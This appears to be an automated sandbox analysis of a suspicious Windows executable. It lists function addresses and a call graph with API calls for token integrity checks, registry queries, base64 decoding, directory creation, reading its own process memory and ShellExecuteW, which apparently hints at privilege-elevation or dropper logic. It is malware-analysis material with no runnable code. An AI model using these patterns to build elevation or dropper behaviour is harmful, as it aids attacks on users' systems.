7ff6fe424970 2 API calls 1079->1081 1080 7ff6fe423014 1083 7ff6fe423b2c 1080->1083 1084 7ff6fe423032 GetCurrentProcess OpenProcessToken 1080->1084 1082 7ff6fe423b88 1081->1082 1350 7ff6fe424a50 1082->1350 1088 7ff6fe424970 2 API calls 1083->1088 1086 7ff6fe423053 GetTokenInformation 1084->1086 1087 7ff6fe423b44 1084->1087 1091 7ff6fe42307b GetLastError 1086->1091 1092 7ff6fe423af3 CloseHandle 1086->1092 1087->1082 1094 7ff6fe423b83 1087->1094 1096 7ff6fe423b7c _invalid_parameter_noinfo_noreturn 1087->1096 1089 7ff6fe423b38 1088->1089 1093 7ff6fe424970 2 API calls 1089->1093 1091->1092 1095 7ff6fe42308a LocalAlloc 1091->1095 1092->1087 1093->1087 1097 7ff6fe424a70 free 1094->1097 1095->1092 1098 7ff6fe4230a7 GetTokenInformation 1095->1098 1096->1094 1097->1082 1099 7ff6fe423aea LocalFree 1098->1099 1100 7ff6fe4230d1 GetSidSubAuthorityCount GetSidSubAuthority 1098->1100 1099->1092 1101 7ff6fe4230f7 1100->1101 1102 7ff6fe423b00 1100->1102 1248 7ff6fe421a60 GetCurrentProcess OpenProcessToken 1101->1248 1269 7ff6fe424970 __acrt_iob_func 1102->1269 1106 7ff6fe423b15 1107 7ff6fe424970 2 API calls 1106->1107 1109 7ff6fe423b21 1107->1109 1109->1099 1111 7ff6fe423112 CharLowerW 1112 7ff6fe424970 2 API calls 1111->1112 1113 7ff6fe423128 1112->1113 1293 7ff6fe421840 1113->1293 1116 7ff6fe424970 2 API calls 1117 7ff6fe42315a 1116->1117 1313 7ff6fe4249e0 1117->1313 1119 7ff6fe423185 1120 7ff6fe423554 1119->1120 1316 7ff6fe423ed0 1119->1316 1121 7ff6fe424970 2 API calls 1120->1121 1128 7ff6fe423613 1121->1128 1123 7ff6fe423bdf 1363 7ff6fe423cf0 ?_Xout_of_range@std@@YAXPEBD 1123->1363 1124 7ff6fe423be5 1364 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1124->1364 1125 7ff6fe423bd9 1362 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1125->1362 1128->1124 1133 7ff6fe423bd4 1128->1133 1134 7ff6fe423650 1128->1134 1141 7ff6fe423692 1128->1141 1154 7ff6fe4236a2 1128->1154 1131 7ff6fe423beb 1365 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1131->1365 1359 7ff6fe421100 1133->1359 1139 7ff6fe42370c 1134->1139 1140 7ff6fe42371f FindFirstFileW 1134->1140 1136 7ff6fe4232d9 lstrlenA CryptStringToBinaryA 1336 7ff6fe424ae0 1136->1336 1138 7ff6fe423bf1 1148 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1138->1148 1153 7ff6fe424970 2 API calls 1139->1153 1145 7ff6fe42373a 1140->1145 1146 7ff6fe4237ef FindClose 1140->1146 1141->1154 1155 7ff6fe4236d4 _invalid_parameter_noinfo_noreturn 1141->1155 1143 7ff6fe4236e0 memcpy 1143->1134 1150 7ff6fe424970 2 API calls 1145->1150 1147 7ff6fe424970 2 API calls 1146->1147 1151 7ff6fe423804 ShellExecuteW 1147->1151 1152 7ff6fe423bf7 1148->1152 1149 7ff6fe423548 1156 7ff6fe424970 2 API calls 1149->1156 1157 7ff6fe423746 1150->1157 1158 7ff6fe42393a 1151->1158 1159 7ff6fe423845 1151->1159 1366 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1152->1366 1162 7ff6fe42371d 1153->1162 1154->1143 1155->1154 1156->1120 1160 7ff6fe424970 2 API calls 1157->1160 1158->1152 1168 7ff6fe42394d 1158->1168 1159->1131 1169 7ff6fe423858 1159->1169 1160->1162 1163 7ff6fe4237a1 1162->1163 1342 7ff6fe424000 1162->1342 1166 7ff6fe4237e5 1163->1166 1171 7ff6fe4237e0 1163->1171 1176 7ff6fe4237d9 _invalid_parameter_noinfo_noreturn 1163->1176 1164 7ff6fe423bfd 1170 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1164->1170 1166->1082 1168->1164 1178 7ff6fe423953 1168->1178 1179 7ff6fe4239ab 1168->1179 1185 7ff6fe42399b 1168->1185 1169->1138 1173 7ff6fe42385e 1169->1173 1174 7ff6fe4238b6 1169->1174 1187 7ff6fe4238a6 1169->1187 1175 7ff6fe423c03 1170->1175 1177 7ff6fe424a70 free 1171->1177 1172 7ff6fe423796 1347 7ff6fe424a70 1172->1347 1191 7ff6fe424970 2 API calls 1173->1191 1181 7ff6fe423901 memcpy 1174->1181 1176->1171 1177->1166 1188 7ff6fe424970 2 API calls 1178->1188 1180 7ff6fe4239f6 memcpy 1179->1180 1180->1178 1181->1173 1182 7ff6fe423ad3 _invalid_parameter_noinfo_noreturn 1184 7ff6fe423ada 1182->1184 1186 7ff6fe424a70 free 1184->1186 1185->1179 1189 7ff6fe4239ea _invalid_parameter_noinfo_noreturn 1185->1189 1190 7ff6fe423ae5 1186->1190 1187->1174 1192 7ff6fe4238f5 _invalid_parameter_noinfo_noreturn 1187->1192 1188->1173 1189->1179 1190->1099 1194 7ff6fe423a3b 1191->1194 1192->1174 1193 7ff6fe423aab 1193->1182 1193->1184 1194->1182 1194->1190 1194->1193 1195 7ff6fe424a70 free 1194->1195 1195->1194 1196 7ff6fe4253d0 GetModuleHandleW 1197 7ff6fe424cdf 1196->1197 1197->1061 1197->1070 1199 7ff6fe4252a6 1198->1199 1200 7ff6fe4252b4 memset RtlCaptureContext RtlLookupFunctionEntry 1199->1200 1201 7ff6fe42532a memset IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 1200->1201 1202 7ff6fe4252ee RtlVirtualUnwind 1200->1202 1203 7ff6fe4253aa 1201->1203 1202->1201 1203->1058 1205 7ff6fe423ed0 5 API calls 1204->1205 1206 7ff6fe421d08 1205->1206 1207 7ff6fe423ed0 5 API calls 1206->1207 1208 7ff6fe421d2e RegOpenKeyExW 1207->1208 1209 7ff6fe421e75 RegQueryValueExW 1208->1209 1210 7ff6fe421d64 1208->1210 1212 7ff6fe421ea6 RegCloseKey 1209->1212 1218 7ff6fe421ebc 1209->1218 1211 7ff6fe424970 2 API calls 1210->1211 1214 7ff6fe421d70 1211->1214 1215 7ff6fe424970 2 API calls 1212->1215 1213 7ff6fe421f07 RegCloseKey 1216 7ff6fe424970 2 API calls 1213->1216 1223 7ff6fe424540 5 API calls 1214->1223 1215->1218 1219 7ff6fe421f1d 1216->1219 1218->1213 1218->1219 1367 7ff6fe423da0 1219->1367 1220 7ff6fe421f80 RegQueryValueExW 1221 7ff6fe421fc7 RegCloseKey 1220->1221 1222 7ff6fe422076 RegCloseKey 1220->1222 1225 7ff6fe424970 2 API calls 1221->1225 1224 7ff6fe4220b3 1222->1224 1243 7ff6fe42209d 1222->1243 1226 7ff6fe421dbb 1223->1226 1230 7ff6fe421dfc 1224->1230 1231 7ff6fe422188 1224->1231 1233 7ff6fe422181 _invalid_parameter_noinfo_noreturn 1224->1233 1227 7ff6fe421fd9 1225->1227 1229 7ff6fe421df7 1226->1229 1226->1230 1226->1233 1377 7ff6fe424540 1227->1377 1228 7ff6fe421e4d 1235 7ff6fe424a50 8 API calls 1228->1235 1234 7ff6fe424a70 free 1229->1234 1230->1228 1232 7ff6fe421e48 1230->1232 1238 7ff6fe4221e1 _invalid_parameter_noinfo_noreturn 1230->1238 1236 7ff6fe424a70 free 1231->1236 1239 7ff6fe424a70 free 1232->1239 1233->1231 1234->1230 1240 7ff6fe421e5c _errno wcstol 1235->1240 1236->1230 1239->1228 1240->1080 1241 7ff6fe42201d 1242 7ff6fe422061 1241->1242 1244 7ff6fe42205c 1241->1244 1246 7ff6fe422055 _invalid_parameter_noinfo_noreturn 1241->1246 1242->1222 1243->1224 1389 7ff6fe424090 1243->1389 1247 7ff6fe424a70 free 1244->1247 1246->1244 1247->1242 1249 7ff6fe421abb GetTokenInformation 1248->1249 1250 7ff6fe421c92 1248->1250 1252 7ff6fe421ae1 GetLastError 1249->1252 1253 7ff6fe421af0 GlobalAlloc GetTokenInformation 1249->1253 1251 7ff6fe424970 2 API calls 1250->1251 1254 7ff6fe421c5b 1251->1254 1252->1250 1252->1253 1253->1250 1255 7ff6fe421b2c AllocateAndInitializeSid 1253->1255 1259 7ff6fe424a50 8 API calls 1254->1259 1256 7ff6fe421c7f 1255->1256 1266 7ff6fe421b89 1255->1266 1258 7ff6fe424970 2 API calls 1256->1258 1257 7ff6fe421c29 1262 7ff6fe421c3a FreeSid 1257->1262 1263 7ff6fe421c40 GlobalFree 1257->1263 1261 7ff6fe421c4b 1258->1261 1264 7ff6fe421c6a 1259->1264 1260 7ff6fe421ba0 EqualSid 1265 7ff6fe421bba LookupAccountSidW 1260->1265 1260->1266 1261->1254 1262->1263 1263->1261 1264->1102 1272 7ff6fe4221f0 1264->1272 1265->1257 1267 7ff6fe421bfc GetLastError 1265->1267 1266->1257 1266->1260 1267->1256 1268 7ff6fe421c09 wcscpy_s 1267->1268 1268->1266 1407 7ff6fe4249d0 1269->1407 1271 7ff6fe4249a6 __stdio_common_vfwprintf 1271->1106 1273 7ff6fe423ed0 5 API calls 1272->1273 1274 7ff6fe42223a 1273->1274 1275 7ff6fe423ed0 5 API calls 1274->1275 1276 7ff6fe422260 RegOpenKeyExW 1275->1276 1277 7ff6fe4222db 1276->1277 1278 7ff6fe422293 RegQueryValueExW 1276->1278 1281 7ff6fe424970 2 API calls 1277->1281 1279 7ff6fe42232a RegCloseKey 1278->1279 1280 7ff6fe4222d5 RegCloseKey 1278->1280 1282 7ff6fe4222e7 1279->1282 1280->1277 1281->1282 1283 7ff6fe42233a 1282->1283 1285 7ff6fe422335 1282->1285 1289 7ff6fe422323 _invalid_parameter_noinfo_noreturn 1282->1289 1284 7ff6fe42238e 1283->1284 1287 7ff6fe422389 1283->1287 1290 7ff6fe422382 _invalid_parameter_noinfo_noreturn 1283->1290 1288 7ff6fe424a50 8 API calls 1284->1288 1286 7ff6fe424a70 free 1285->1286 1286->1283 1291 7ff6fe424a70 free 1287->1291 1292 7ff6fe42239c 1288->1292 1289->1279 1290->1287 1291->1284 1292->1102 1292->1111 1294 7ff6fe42187b 1293->1294 1295 7ff6fe421908 CreateDirectoryW 1294->1295 1296 7ff6fe424000 2 API calls 1294->1296 1305 7ff6fe421932 1295->1305 1312 7ff6fe421986 1295->1312 1298 7ff6fe4218ca 1296->1298 1297 7ff6fe421a2e 1297->1116 1301 7ff6fe421903 1298->1301 1307 7ff6fe4218fc _invalid_parameter_noinfo_noreturn 1298->1307 1299 7ff6fe421a4f 1408 7ff6fe423cf0 ?_Xout_of_range@std@@YAXPEBD 1299->1408 1300 7ff6fe4219f4 1303 7ff6fe421a23 1300->1303 1308 7ff6fe421a1c _invalid_parameter_noinfo_noreturn 1300->1308 1302 7ff6fe424a70 free 1301->1302 1302->1295 1309 7ff6fe424a70 free 1303->1309 1304 7ff6fe421956 CreateDirectoryW 1304->1305 1304->1312 1305->1299 1305->1304 1307->1301 1308->1303 1309->1297 1311 7ff6fe424a70 free 1311->1312 1312->1297 1312->1300 1312->1308 1312->1311 1409 7ff6fe4249d0 1313->1409 1315 7ff6fe424a05 __stdio_common_vsprintf 1315->1119 1317 7ff6fe423ef9 1316->1317 1318 7ff6fe423fef 1316->1318 1319 7ff6fe423f04 memcpy 1317->1319 1324 7ff6fe423f28 1317->1324 1410 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1318->1410 1321 7ff6fe423285 1319->1321 1321->1123 1321->1125 1330 7ff6fe424400 1321->1330 1322 7ff6fe423ff4 1325 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1322->1325 1323 7ff6fe423f6d 1328 7ff6fe423fb6 memcpy 1323->1328 1324->1322 1324->1323 1326 7ff6fe423f60 1324->1326 1327 7ff6fe423ffa 1325->1327 1326->1323 1329 7ff6fe423fa7 _invalid_parameter_noinfo_noreturn 1326->1329 1328->1321 1329->1323 1331 7ff6fe4244e7 memcpy memcpy 1330->1331 1332 7ff6fe424455 1330->1332 1331->1136 1333 7ff6fe4244cb 1332->1333 1334 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1332->1334 1335 7ff6fe42453d 1334->1335 1339 7ff6fe424aa4 1336->1339 1337 7ff6fe424abe malloc 1338 7ff6fe423344 CryptStringToBinaryA #40 1337->1338 1337->1339 1338->1149 1339->1336 1339->1337 1341 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1339->1341 1411 7ff6fe424f00 1339->1411 1341->1339 1343 7ff6fe42376a 1342->1343 1344 7ff6fe424005 1342->1344 1343->1172 1343->1182 1344->1343 1345 7ff6fe424083 _invalid_parameter_noinfo_noreturn 1344->1345 1346 7ff6fe424a70 free 1344->1346 1346->1344 1348 7ff6fe424ed8 free 1347->1348 1351 7ff6fe424a59 1350->1351 1352 7ff6fe423bb3 1351->1352 1353 7ff6fe424d90 IsProcessorFeaturePresent 1351->1353 1352->1196 1354 7ff6fe424da8 1353->1354 1415 7ff6fe424e64 RtlCaptureContext 1354->1415 1360 7ff6fe42110e Concurrency::cancel_current_task 1359->1360 1361 7ff6fe42111f __std_exception_copy 1360->1361 1361->1125 1368 7ff6fe423ebf 1367->1368 1371 7ff6fe423dc8 1367->1371 1404 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1368->1404 1370 7ff6fe423ec4 1372 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1370->1372 1371->1370 1373 7ff6fe423e3c 1371->1373 1375 7ff6fe423dd5 1371->1375 1374 7ff6fe423eca 1372->1374 1373->1375 1376 7ff6fe423e86 _invalid_parameter_noinfo_noreturn 1373->1376 1375->1220 1376->1375 1378 7ff6fe424588 1377->1378 1379 7ff6fe42468b 1378->1379 1381 7ff6fe4245a7 memcpy 1378->1381 1386 7ff6fe4245c8 1378->1386 1405 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1379->1405 1382 7ff6fe424690 1383 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1382->1383 1384 7ff6fe424696 1383->1384 1385 7ff6fe42464e memcpy 1385->1379 1386->1382 1387 7ff6fe42463f _invalid_parameter_noinfo_noreturn 1386->1387 1388 7ff6fe424605 1386->1388 1387->1388 1388->1385 1390 7ff6fe42422f 1389->1390 1393 7ff6fe4240be 1389->1393 1406 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1390->1406 1392 7ff6fe424234 1394 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1392->1394 1393->1392 1395 7ff6fe424124 1393->1395 1396 7ff6fe42423a 1394->1396 1397 7ff6fe4241ea memcpy 1395->1397 1398 7ff6fe42418d memcpy 1395->1398 1399 7ff6fe4241e3 _invalid_parameter_noinfo_noreturn 1395->1399 1403 7ff6fe4241e1 1397->1403 1400 7ff6fe42419d 1398->1400 1399->1397 1400->1399 1401 7ff6fe4241d6 1400->1401 1402 7ff6fe424a70 free 1401->1402 1402->1403 1403->1224 1407->1271 1409->1315 1414 7ff6fe424ee0 1411->1414 1413 7ff6fe424f0e _CxxThrowException 1414->1413 1416 7ff6fe424e7e RtlLookupFunctionEntry 1415->1416 1417 7ff6fe424dbb 1416->1417 1418 7ff6fe424e94 RtlVirtualUnwind 1416->1418 1419 7ff6fe424d5c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 1417->1419 1418->1416 1418->1417 1426 7ff6fe423d10 1427 7ff6fe423d23 1426->1427 1427->1427 1428 7ff6fe423d88 1427->1428 1429 7ff6fe423d41 memcpy 1427->1429 1433 7ff6fe424240 1428->1433 1434 7ff6fe4243e7 1433->1434 1435 7ff6fe42426e 1433->1435 1445 7ff6fe4211a0 ?_Xlength_error@std@@YAXPEBD 1434->1445 1437 7ff6fe4243ec 1435->1437 1438 7ff6fe4242cf memcpy memcpy 1435->1438 1439 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1437->1439 1442 7ff6fe42437d 1438->1442 1440 7ff6fe4243f2 1439->1440 1443 7ff6fe424a70 free 1442->1443 1444 7ff6fe423d95 1443->1444 1499 7ff6fe424bb0 1503 7ff6fe425424 SetUnhandledExceptionFilter 1499->1503 1504 7ff6fe4210b0 __std_exception_destroy 1505 7ff6fe4259f0 1506 7ff6fe425a10 1505->1506 1507 7ff6fe425a03 1505->1507 1509 7ff6fe423c10 1507->1509 1510 7ff6fe423c21 1509->1510 1518 7ff6fe423c5e 1509->1518 1511 7ff6fe424000 2 API calls 1510->1511 1513 7ff6fe423c2a 1511->1513 1512 7ff6fe423c56 1515 7ff6fe424a70 free 1512->1515 1513->1512 1514 7ff6fe423c71 _invalid_parameter_noinfo_noreturn 1513->1514 1516 7ff6fe423c93 1514->1516 1517 7ff6fe423cc4 1514->1517 1515->1518 1519 7ff6fe423cbc 1516->1519 1520 7ff6fe423cdb _invalid_parameter_noinfo_noreturn 1516->1520 1517->1506 1518->1506 1521 7ff6fe424a70 free 1519->1521 1521->1517 1446 7ff6fe424a78 1447 7ff6fe424a9a 1446->1447 1448 7ff6fe424a90 1446->1448 1449 7ff6fe424a70 free 1448->1449 1449->1447 1450 7ff6fe424cfa 1451 7ff6fe4253d0 GetModuleHandleW 1450->1451 1452 7ff6fe424d01 1451->1452 1453 7ff6fe424d40 _exit 1452->1453 1454 7ff6fe424d05 1452->1454 1522 7ff6fe42591c 1523 7ff6fe425954 __GSHandlerCheckCommon 1522->1523 1524 7ff6fe42596f __CxxFrameHandler4 1523->1524 1525 7ff6fe425980 1523->1525 1524->1525 1455 7ff6fe425b40 _seh_filter_exe 1456 7ff6fe421000 __std_exception_copy 1457 7ff6fe4211c0 GetModuleHandleW GetProcAddress 1458 7ff6fe42148f 1457->1458 1459 7ff6fe421221 GetModuleHandleW GetProcAddress 1457->1459 1461 7ff6fe424a50 8 API calls 1458->1461 1459->1458 1460 7ff6fe42124a GetModuleHandleW GetProcAddress 1459->1460 1460->1458 1462 7ff6fe421273 GetModuleHandleW GetProcAddress 1460->1462 1463 7ff6fe4214a7 1461->1463 1462->1458 1464 7ff6fe42129c GetCurrentProcessId OpenProcess 1462->1464 1464->1458 1465 7ff6fe4212bf ReadProcessMemory 1464->1465 1465->1458 1467 7ff6fe4212ff ReadProcessMemory 1465->1467 1467->1458 1468 7ff6fe421329 GetWindowsDirectoryW wcscat_s malloc wcscpy_s 1467->1468 1469 7ff6fe42137a GetModuleFileNameW 1468->1469 1471 7ff6fe4213d0 ReadProcessMemory 1469->1471 1471->1458 1472 7ff6fe4213f6 ReadProcessMemory 1471->1472 1472->1458 1473 7ff6fe42141d _wcsicmp 1472->1473 1474 7ff6fe421435 1473->1474 1475 7ff6fe421447 CloseHandle _wcsicmp 1473->1475 1474->1471 1474->1475 1475->1458 1526 7ff6fe4246a0 1527 7ff6fe424935 1526->1527 1532 7ff6fe4246db 1526->1532 1543 7ff6fe424950 ?_Xlength_error@std@@YAXPEBD 1527->1543 1529 7ff6fe42493a 1530 7ff6fe421100 Concurrency::cancel_current_task __std_exception_copy 1529->1530 1531 7ff6fe424940 1530->1531 1532->1529 1533 7ff6fe4247c4 1532->1533 1534 7ff6fe424000 2 API calls 1532->1534 1536 7ff6fe42492e _invalid_parameter_noinfo_noreturn 1532->1536 1535 7ff6fe424000 2 API calls 1533->1535 1534->1533 1537 7ff6fe4248b1 1535->1537 1536->1527 1538 7ff6fe4248f6 1537->1538 1539 7ff6fe424000 2 API calls 1537->1539 1540 7ff6fe4248c2 1539->1540 1540->1536 1541 7ff6fe4248ee 1540->1541 1542 7ff6fe424a70 free 1541->1542 1542->1538 1545 7ff6fe421060 __std_exception_destroy 1546 7ff6fe421088 1545->1546 1547 7ff6fe421095 1545->1547 1548 7ff6fe424a70 free 1546->1548 1548->1547

                                                                      Callgraph

                                                                      • Executed
                                                                      • Not Executed
                                                                      • Opacity -> Relevance
                                                                      • Disassembly available
                                                                      callgraph 0 Function_00007FF6FE425490 1 Function_00007FF6FE424090 17 Function_00007FF6FE4211A0 1->17 35 Function_00007FF6FE424A70 1->35 59 Function_00007FF6FE421100 1->59 2 Function_00007FF6FE425A90 3 Function_00007FF6FE424A78 3->35 4 Function_00007FF6FE425278 5 Function_00007FF6FE425A78 6 Function_00007FF6FE425280 6->4 7 Function_00007FF6FE422F80 11 Function_00007FF6FE421CB0 7->11 7->17 22 Function_00007FF6FE424A50 7->22 27 Function_00007FF6FE421840 7->27 7->35 36 Function_00007FF6FE424970 7->36 43 Function_00007FF6FE421A60 7->43 56 Function_00007FF6FE424400 7->56 57 Function_00007FF6FE424000 7->57 7->59 81 Function_00007FF6FE423ED0 7->81 89 Function_00007FF6FE4221F0 7->89 90 Function_00007FF6FE423CF0 7->90 95 Function_00007FF6FE4249E0 7->95 96 Function_00007FF6FE424AE0 7->96 8 Function_00007FF6FE425AAC 9 Function_00007FF6FE424BB0 48 Function_00007FF6FE42520C 9->48 74 Function_00007FF6FE425424 9->74 10 Function_00007FF6FE4210B0 11->1 14 Function_00007FF6FE423DA0 11->14 11->22 28 Function_00007FF6FE424540 11->28 11->35 11->36 11->81 12 Function_00007FF6FE4250B5 13 Function_00007FF6FE424F98 13->6 83 Function_00007FF6FE4257D4 13->83 14->17 14->59 15 Function_00007FF6FE4258A0 86 Function_00007FF6FE4258C0 15->86 16 Function_00007FF6FE425AA0 18 Function_00007FF6FE4246A0 23 Function_00007FF6FE424950 18->23 18->35 18->57 18->59 19 Function_00007FF6FE425148 49 Function_00007FF6FE42510C 19->49 20 Function_00007FF6FE424D48 41 Function_00007FF6FE425160 20->41 21 Function_00007FF6FE425A50 37 Function_00007FF6FE424D5C 22->37 46 Function_00007FF6FE424E64 22->46 24 Function_00007FF6FE425238 25 Function_00007FF6FE425A3A 26 Function_00007FF6FE424240 26->17 26->35 26->59 27->35 27->57 27->90 28->17 28->59 29 Function_00007FF6FE421040 30 Function_00007FF6FE425240 30->24 79 Function_00007FF6FE4249D0 30->79 31 Function_00007FF6FE425B40 32 Function_00007FF6FE425268 33 Function_00007FF6FE425A6C 34 Function_00007FF6FE425270 36->79 38 Function_00007FF6FE42525C 39 Function_00007FF6FE424F5C 47 Function_00007FF6FE425508 39->47 63 Function_00007FF6FE425230 39->63 40 Function_00007FF6FE425B5E 42 Function_00007FF6FE425A60 43->22 43->36 44 Function_00007FF6FE421160 45 Function_00007FF6FE421060 45->35 50 Function_00007FF6FE423D10 50->26 51 Function_00007FF6FE425210 52 Function_00007FF6FE423C10 52->35 52->57 53 Function_00007FF6FE425B10 54 Function_00007FF6FE424CFA 82 Function_00007FF6FE4253D0 54->82 55 Function_00007FF6FE425AFC 56->59 57->35 58 Function_00007FF6FE424F00 94 Function_00007FF6FE424EE0 58->94 80 Function_00007FF6FE4210D0 59->80 60 Function_00007FF6FE421000 61 Function_00007FF6FE425B28 62 Function_00007FF6FE425A2E 64 Function_00007FF6FE425234 65 Function_00007FF6FE425434 66 Function_00007FF6FE425B34 67 Function_00007FF6FE425A16 68 Function_00007FF6FE425218 69 Function_00007FF6FE42591C 69->86 70 Function_00007FF6FE425B1C 71 Function_00007FF6FE425220 72 Function_00007FF6FE424F20 72->83 73 Function_00007FF6FE425A22 75 Function_00007FF6FE425024 76 Function_00007FF6FE424BCC 76->6 76->7 76->32 76->34 76->39 76->72 76->75 76->82 84 Function_00007FF6FE4250BC 76->84 97 Function_00007FF6FE4250E0 76->97 77 Function_00007FF6FE4254CC 78 Function_00007FF6FE425ACC 81->17 81->59 84->83 85 Function_00007FF6FE4211C0 85->22 87 Function_00007FF6FE425AC0 88 Function_00007FF6FE424AE8 88->0 88->6 88->13 88->19 88->30 88->38 88->48 88->51 88->63 88->64 88->68 88->71 89->22 89->35 89->36 89->81 91 Function_00007FF6FE4259F0 91->52 92 Function_00007FF6FE425AF0 93 Function_00007FF6FE425AD8 95->79 96->58 96->59 97->63

                                                                      Executed Functions

                                                                      Function 00007FF6FE422F80 Relevance: 100.3, APIs: 32, Strings: 25, Instructions: 589COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 0 7ff6fe422f80-7ff6fe422fc1 1 7ff6fe422fc7-7ff6fe42302c call 7ff6fe421cb0 _errno wcstol 0->1 2 7ff6fe423b8a-7ff6fe423b9d call 7ff6fe424970 * 2 0->2 11 7ff6fe423b2c-7ff6fe423b44 call 7ff6fe424970 * 2 1->11 12 7ff6fe423032-7ff6fe42304d GetCurrentProcess OpenProcessToken 1->12 10 7ff6fe423ba2 2->10 13 7ff6fe423ba4-7ff6fe423bd3 call 7ff6fe424a50 10->13 16 7ff6fe423b45-7ff6fe423b4d 11->16 15 7ff6fe423053-7ff6fe423075 GetTokenInformation 12->15 12->16 21 7ff6fe42307b-7ff6fe423084 GetLastError 15->21 22 7ff6fe423af3-7ff6fe423afe CloseHandle 15->22 16->10 20 7ff6fe423b4f-7ff6fe423b65 16->20 24 7ff6fe423b67-7ff6fe423b7a 20->24 25 7ff6fe423b83-7ff6fe423b88 call 7ff6fe424a70 20->25 21->22 26 7ff6fe42308a-7ff6fe4230a1 LocalAlloc 21->26 22->16 24->25 28 7ff6fe423b7c-7ff6fe423b82 _invalid_parameter_noinfo_noreturn 24->28 25->10 26->22 30 7ff6fe4230a7-7ff6fe4230cb GetTokenInformation 26->30 28->25 32 7ff6fe423aea-7ff6fe423aed LocalFree 30->32 33 7ff6fe4230d1-7ff6fe4230f1 GetSidSubAuthorityCount GetSidSubAuthority 30->33 32->22 34 7ff6fe4230f7-7ff6fe4230fe call 7ff6fe421a60 33->34 35 7ff6fe423b23-7ff6fe423b2a 33->35 41 7ff6fe423b09 34->41 42 7ff6fe423104-7ff6fe42310c call 7ff6fe4221f0 34->42 37 7ff6fe423b10-7ff6fe423b1c call 7ff6fe424970 * 2 35->37 45 7ff6fe423b21 37->45 41->37 47 7ff6fe423b00-7ff6fe423b07 42->47 48 7ff6fe423112-7ff6fe423241 CharLowerW call 7ff6fe424970 call 7ff6fe421840 call 7ff6fe424970 call 7ff6fe4249e0 call 7ff6fe4214d0 42->48 45->32 47->37 62 7ff6fe423607-7ff6fe42363a call 7ff6fe424970 48->62 63 7ff6fe423247-7ff6fe423289 call 7ff6fe423ed0 48->63 70 7ff6fe423be6-7ff6fe423beb call 7ff6fe4211a0 62->70 71 7ff6fe423640-7ff6fe42364e 62->71 68 7ff6fe42328f-7ff6fe4232a0 63->68 69 7ff6fe423be0-7ff6fe423be5 call 7ff6fe423cf0 63->69 74 7ff6fe4232a6-7ff6fe423554 call 7ff6fe424400 lstrlenA CryptStringToBinaryA call 7ff6fe424ae0 CryptStringToBinaryA #40 call 7ff6fe424970 call 7ff6fe422bf0 68->74 75 7ff6fe423bda-7ff6fe423bdf call 7ff6fe4211a0 68->75 69->70 91 7ff6fe423bec-7ff6fe423bf1 call 7ff6fe4211a0 70->91 72 7ff6fe423669-7ff6fe423673 71->72 73 7ff6fe423650-7ff6fe423664 71->73 79 7ff6fe4236b0-7ff6fe4236c4 72->79 80 7ff6fe423675-7ff6fe423678 72->80 78 7ff6fe4236ff-7ff6fe42370a call 7ff6fe4223c0 73->78 74->62 75->69 100 7ff6fe42370c-7ff6fe42371d call 7ff6fe422bf0 call 7ff6fe424970 78->100 101 7ff6fe42371f-7ff6fe423734 FindFirstFileW 78->101 89 7ff6fe4236ca-7ff6fe4236cd 79->89 90 7ff6fe423bd4-7ff6fe423bd9 call 7ff6fe421100 79->90 86 7ff6fe42367c-7ff6fe423683 80->86 94 7ff6fe4236db call 7ff6fe424aa4 86->94 95 7ff6fe423685-7ff6fe42368c 86->95 89->86 97 7ff6fe4236cf-7ff6fe4236d2 89->97 90->75 107 7ff6fe423bf2-7ff6fe423bf7 call 7ff6fe421100 91->107 105 7ff6fe4236e0-7ff6fe4236fa memcpy 94->105 95->90 103 7ff6fe423692-7ff6fe4236a0 call 7ff6fe424aa4 95->103 97->105 134 7ff6fe423758-7ff6fe42375b 100->134 111 7ff6fe42373a-7ff6fe423757 call 7ff6fe424970 * 2 call 7ff6fe422bf0 101->111 112 7ff6fe4237ef-7ff6fe42383f FindClose call 7ff6fe424970 ShellExecuteW 101->112 122 7ff6fe4236a2-7ff6fe4236ae 103->122 123 7ff6fe4236d4-7ff6fe4236da _invalid_parameter_noinfo_noreturn 103->123 105->78 128 7ff6fe423bf8-7ff6fe423bfd call 7ff6fe4211a0 107->128 111->134 126 7ff6fe42393a-7ff6fe423947 112->126 127 7ff6fe423845-7ff6fe423852 112->127 122->105 123->94 126->128 135 7ff6fe42394d-7ff6fe423951 126->135 127->91 132 7ff6fe423858-7ff6fe42385c 127->132 150 7ff6fe423bfe-7ff6fe423c03 call 7ff6fe421100 128->150 140 7ff6fe423876-7ff6fe423880 132->140 141 7ff6fe42385e-7ff6fe423871 132->141 138 7ff6fe42375d-7ff6fe42377b call 7ff6fe424000 134->138 139 7ff6fe4237a2-7ff6fe4237aa 134->139 143 7ff6fe42396b-7ff6fe423975 135->143 144 7ff6fe423953-7ff6fe423966 135->144 167 7ff6fe423796-7ff6fe4237a1 call 7ff6fe424a70 138->167 168 7ff6fe42377d-7ff6fe423790 138->168 151 7ff6fe4237ac-7ff6fe4237c2 139->151 152 7ff6fe4237e5-7ff6fe4237ea 139->152 148 7ff6fe423882-7ff6fe42388c 140->148 149 7ff6fe4238c4-7ff6fe4238e5 140->149 147 7ff6fe423920-7ff6fe423935 call 7ff6fe4228e0 call 7ff6fe422bf0 141->147 154 7ff6fe423977-7ff6fe423981 143->154 155 7ff6fe4239b9-7ff6fe4239da 143->155 153 7ff6fe423a15-7ff6fe423a2f call 7ff6fe4228e0 call 7ff6fe422bf0 call 